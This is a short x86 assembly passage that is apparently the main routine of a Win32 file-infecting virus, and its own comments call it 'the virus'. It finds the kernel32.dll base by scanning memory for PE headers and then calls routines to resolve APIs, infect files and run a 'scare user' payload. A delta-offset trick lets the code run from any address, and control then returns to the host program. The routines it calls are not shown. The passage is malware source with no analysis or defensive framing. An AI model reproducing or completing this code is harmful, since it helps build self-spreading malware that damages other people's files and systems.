;%%%1 0 MAIN *main routines

;setup stack to return to host later
	push ofs __ret
  original_entrypoint equ $-4

;retrieve kernel32.dll base

	mov eax,[esp.Arg1]
  @@search:
	xor ax,ax
        cmp [eax.MZ_magic],IMAGE_DOS_SIGNATURE
        jnz @@nopeheader
        mov ecx,[eax.MZ_lfanew]
        cmp [ecx+eax.NT_Signature],IMAGE_NT_SIGNATURE
        jz @@found
  @@nopeheader:
  	dec eax
  	jmp @@search
  @@found:

;get all APIs the virus need

	call get_k32_apis

;infect files

	call infect_files

;scare user

	call payload

;return to host
	ret


;secret routine

delta:
	call @@delta
  @@delta:
	pop ebp
	sub ebp, ofs @@delta
	ret